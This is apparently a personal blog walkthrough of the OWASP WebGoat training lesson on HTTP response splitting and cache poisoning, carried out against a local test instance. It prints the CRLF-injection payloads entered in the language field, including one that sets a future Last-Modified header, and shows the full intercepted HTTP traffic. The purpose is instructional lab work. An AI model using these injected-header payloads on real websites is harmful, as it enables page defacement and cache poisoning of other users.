HTTP Cache Poisoning

I have started working through the WebGoat tutorials from OWASP (Open Web Application Security Project). The first tute covering HTTP splitting and cache poisoning was difficult enough for me to start with, and in fact I could write a whole post on installing WebGoat and WebScarab which was an achievement in itself.

Half the reason I found this first test challenging was the solution which I found to be confusingly worded. So I have gone through the process and here is the solution as I see it.

Specifically this was the part of the solution I didn't understand:

The effect of an HTTP Splitting attack is maximized when accompanied with a Cache Poisoning. The goal of Cache Poisoning attack is to poison the cache of the victim by fooling the cache to believe that the page hijacked using the HTTP splitting is a good one and it is indeed the server's copy.
The attack happens using the HTTP Splitting attack plus adding the Last-Modified: header and setting it to a future date. This will force the browser to send If-Modified-Since request header, which gives the attacker the chance to intercept the server's reply and replace it with a '304 Not Modified' reply. A sample of a 304 response is:
HTTP/1.1 304 Not Modified

Starting with the basic HTTP Request

This test revolves around a simple form with a basic input field, entering data into this field is the method used to invoke this attack. If basic input is entered a very predictable result is returned.

Input: en

Request sent:

POST http://127.0.0.1:8080/WebGoat/lessons/General/redirect.jsp?Screen=2&menu=100 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1:8080/WebGoat/attack?Screen=2&menu=100&
Cookie: xxxx; sessionid=xxxx
Authorization: xxxx
Content-Type: application/x-www-form-urlencoded
Content-length: 28

language=en&SUBMIT=Search%21

The content posted by the form visible at the bottom of that request.

Response:

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://127.0.0.1:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=en
Content-Type: text/html;charset=ISO-8859-1
Content-length: 0
Date: Tue, 16 Jun 2009 20:38:07 GMT

Server responds with 302 temporary moved, sends the location the browser should look next for the data.

Request:

GET http://127.0.0.1:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=en HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=en
Cookie: xxxx; sessionid=xxxx
Authorization: xxxx

Page is requested from the correct location. This is the default action of the form.

HTTP Splitting

Splitting the HTTP request is essentially adding header response data into the input field. This will cause the server to split the response into 2 responses, the first response you can control with the data you input into the form. The second "correct" response from the server is lost I'm guessing, because the browser responds to the first response it receives.

Explaining is easier with the example:

Input:

 foobar%0aContent-Length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-Length:%2047%0a%0aHacked J

Decoded:

 foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 47

Hacked J

Decoding this input creates a clearer picture of the input you are sending to the server.

Request Sent:

POST http://127.0.0.1:8080/WebGoat/lessons/General/redirect.jsp?Screen=2&menu=100 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=en%0a%0a%0a
Cookie: xxxx; sessionid=xxxx
Authorization: xxxx
Content-Type: application/x-www-form-urlencoded
Content-length: 160

language=foobar++Content-Length%3A+0++++HTTP%2F1.1+200+OK++Content-Type%3A+text%2Fhtml++Content-Length%3A+47++++%3Chtml%3EHacked+J%3C%2Fhtml%3E&SUBMIT=Search%21

Response:

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://127.0.0.1:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=foobar%0aContent-Length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-Length:%2047%0a%0aHacked J
Content-Type: text/html;charset=ISO-8859-1
Content-length: 0
Date: Tue, 16 Jun 2009 20:49:14 GMT

Request:

GET http://127.0.0.1:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=foobar%0aContent-Length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-Length:%2047%0a%0a%3Chtml%3EHacked%20J%3C/html%3E HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=foobar%20%20Content-Length:%200%20%20%20%20HTTP/1.1%20200%20OK%20%20Content-Type:%20text/html%20%20Content-Length:%2047%20%20%20%20%3Chtml%3EHacked%20J%3C/html%3E
Cookie: xxxx; sessionid=xxxx
Authorization: xxxx

This is where the browser is requesting a URL with your encoded header attached:

GET http://127.0.0.1:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=foobar%0aContent-Length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-Length:%2047%0a%0a%3Chtml%3EHacked%20J%3C/html%3E HTTP/1.1

Which decoded looks like:

GET http://127.0.0.1:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 47

Hacked J HTTP/1.1

The server, upon getting this request is going to return the header hacked onto the end of the URL first, which will be received by the browser in turn and the resulting page source will be:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 01:00:00 GMT
Content-Type: text/html
X-Transfer-Encoding: chunked
Date: Tue, 16 Jun 2009 20:53:12 GMT
Content-length: 21

<html>Hacked J</html>

The HTTP response has been split! The second response has been discarded by the browser and the header response sneaked in via the URL has been processed resulting in a hacked page.

Cache Poisoning

HTTP Cache Poisoning is actually a very straight forward modification to HTTP splitting and can be achieved by simply adding a header indicating that the version of the page being returned was last modified sometime in the future, which will in turn trigger the browser to cache said page.

The confusing wording mentioned at the start of this article:

the attacker the chance to intercept the server's reply and replace it with a '304 Not Modified' reply

Threw me, I couldn't understand how an attacker could intercept the server's response. In fact, setting the last modified header for the page to the future ensures subsequent requests for that page will result in a 304 Not Modified header response form the server, until such a time that the cache is outdated. The attacker is not actively intercepting the servers reply in other words, this is just the resulting behaviour.

Input:

foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202011%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0aHacked J

Decoded:

foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2011 14:50:18 GMT
Content-Length: 47

Hacked J

Request Sent:

POST http://127.0.0.1:8080/WebGoat/lessons/General/redirect.jsp?Screen=2&menu=100 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1:8080/WebGoat/attack?Screen=2&menu=100
Cookie: xxxx; sessionid=xxxx
Authorization: xxxx
Content-Type: application/x-www-form-urlencoded
Content-length: 322

language=foobar%250d%250aContent-Length%3A%25200%250d%250a%250d%250aHTTP%2F1.1%2520200%2520OK%250d%250aContent-Type%3A%2520text%2Fhtml%250d%250aLast-Modified%3A%2520Mon%2C%252027%2520Oct%25202011%252014%3A50%3A18%2520GMT%250d%250aContent-Length%3A%252047%250d%250a%250d%250a%3Chtml%3EHacked+J%3C%2Fhtml%3E&SUBMIT=Search%21

Server response:

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://127.0.0.1:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202011%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0aHacked J
Content-Type: text/html;charset=ISO-8859-1
Content-length: 0
Date: Tue, 16 Jun 2009 22:53:08 GMT

Resulting request:

GET http://127.0.0.1:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202011%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a%3Chtml%3EHacked%20J%3C/html%3E HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1:8080/WebGoat/attack?Screen=2&menu=100
Cookie: xxxx; sessionid=xxxx
Authorization: xxxx

Subsequent requests for the URL should now result in a 304 Not Modified Reply from the server until the local cache runs out in Oct 2011. From now until that time the local cached version of the file should be served, which is of course the data you hacked.

Resources: